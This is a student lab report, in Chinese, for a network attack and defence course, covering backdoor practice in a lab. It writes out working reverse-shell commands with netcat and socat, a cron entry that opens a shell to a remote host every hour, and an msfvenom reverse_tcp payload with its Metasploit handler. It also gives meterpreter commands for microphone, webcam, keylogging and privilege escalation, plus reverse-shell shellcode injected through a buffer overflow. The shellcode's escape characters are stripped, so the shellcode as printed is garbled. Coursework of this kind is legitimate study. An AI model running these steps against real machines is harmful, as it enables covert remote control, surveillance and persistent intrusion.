2019-2020-2 20175326李一潇《网络对抗技术》 Exp2 后门原理与实践
一、实验内容
- 使用netcat获取主机操作Shell,cron启动;
- 使用socat获取主机操作Shell, 任务计划启动;
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二、实验原理
- ncat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- 后门:就是不经过正常认证流程而访问系统的通道。
- 哪里有后门:
编译器留后门
操作系统留后门
应用程序中留后门
潜伏于操作系统中或伪装为特定应用的专用后门程序
三、实验步骤
1.使用netcat获取主机操作Shell,cron启动;
- windows获取linux Shell
查看Windows的IP地址,该Windows的IP为192.168.1.106
关闭Windows防火墙
Windows使用ncat.exe -l -p 5326
打开监听(ncat在码云下载)
linux使用nc 192.168.1.106 5326 -e /bin/sh
反弹连接windows,此时windows下获得一个linux shell,可运行任何指令,如ls
- Linux获得Windows Shell
linux使用ifconfig
查看IP地址,得知Linux的IP为192.168.44.128
(因为下载的kali不能直接ifconfig
,通过输入export PATH=$PATH:/sbin
来获取命令权限,参考)
linux使用nc -l -p 5326
打开监听,windows使用ncat.exe -e cmd.exe 192.168.44.128 5326
反弹连接Linux,就可以在Linux下看到windows的命令了
- cron启动
linux使用crontab -e
进入编辑模式(他们说选择第三个编辑器,但是选择其他编辑器仍然可以正常使用),在最后一行添加02 * * * * /bin/netcat 192.168.1.106 5326 -e /bin/sh
,表示每个小时的第02分钟执行后面的那条指令
linux在02时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell
- nc传输数据
windows使用ncat.exe -l 5326
监听端口,linux使用nc 192.168.1.106 5326
反弹连接到windows的端口,连接建立成功后双方可互传输数据
2.使用socat获取主机操作Shell, 任务计划启动
windows打开计算机管理,在任务计划程序中创建任务
新建触发器,选择时间
新建操作,并在程序或脚本中选择socat.exe(同样在码云下载),添加参数一栏填写tcp-listen:5326 exec:cmd.exe,pty,stderr
到达时间后会自行触发
linux使用socat - tcp:192.168.1.106:5326
完成连接,获得windows shell
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=5326 -f exe > 20175326_backdoor.exe
生成后门程序
windows使用ncat.exe -lv 5326 > 20175326_Cbackdoor.exe
,查看连接状态
linux使用nc 192.168.1.106 5334 < 20175326_backdoor5326.exe
传输后门程序,传输成功后windows会给出提示
linux使用msfconsole
进入msf控制台
输入以下命令
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.186.113 //此处为linux的IP地址
set LPORT 5334 //使用相同的端口
show options //查看设置
linux使用exploit
开始监听,并在windows中运行后门程序,linux成功获得windows的shell
4.使用MSF meterpreter(或其他软件)生成可执行文件,生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 音频:linux使用
record_mic
可以截取一段音频 - 摄像头:linux使用
webcam_snap
可以获取摄像头内容 - 键盘:linux使用
keyscan_start
可以记录下击键的过程,使用keyscan_dump
可以读取击键记录 - 截屏:linux使用
screenshot
可以进行截屏 - 用户:linux使用
getuid
可以查看当前用户,使用getsystem
可以进行提权操作
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
在Exploit DataBase中搜索linux/x86 - Reverse
下载反弹连接的shellcode并提取其中的机器码
x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
通过gdb调试找到shellcode的返回地址0xffffd2ec
,计算出shellcode地址就是0xffffd2ec+4
,即0xffffd305
使用以下命令生成input_shellcode
文件并将机器码注入其中
perl -e 'print "A" x 32;print"xd0xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
在新终端中启动msfconsole
,执行和任务3中同样的指令打开监听
use exploit/multi/handler //设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 //设置ip
set LPORT 4444 //设置端口
show options //查看选项
exploit //设置完成,开始监听
在另一个终端修改input_shellcode
并使用cat input_shellcode;cat) | ./pwn1
运行pwn1文件,在第一个终端中可以看到已经成功调取了shell
四、实验心得
本次实验是网络攻防的第二次实验,我们学习了关于后门的有关知识,如何找到后门,利用后门,认识到网络安全的重要性,我们在以后的生活和学习中要注意保护自己的网络空间安全,一定要开启防火墙,安装杀毒软件。在本次实验中,虽然不是很困难,但是遇到了很多意想不到的困难,kali无法进行ifconfig,产生的文件在Windows被拦截,配置ip地址的时候出现错误。这些问题都是一些小细节,在查阅资料和咨询同学后,逐渐得到解决。
五、思考题
- 你能想到的一个后门进入到你系统中的可能方式?
通过植入不正规软件,进入后门 - 你知道的后门如何启动起来(win及linux)的方式?
通过修改cron定时启动,木马自启动 - Meterpreter有哪些给你映像深刻的功能?
可以控制电脑的摄像头,录音,键盘操作 - 如何发现自己有系统有没有被安装后门?
通过杀毒软件进行收索查杀,也可以自己查看一下电脑的进程、端口、注册表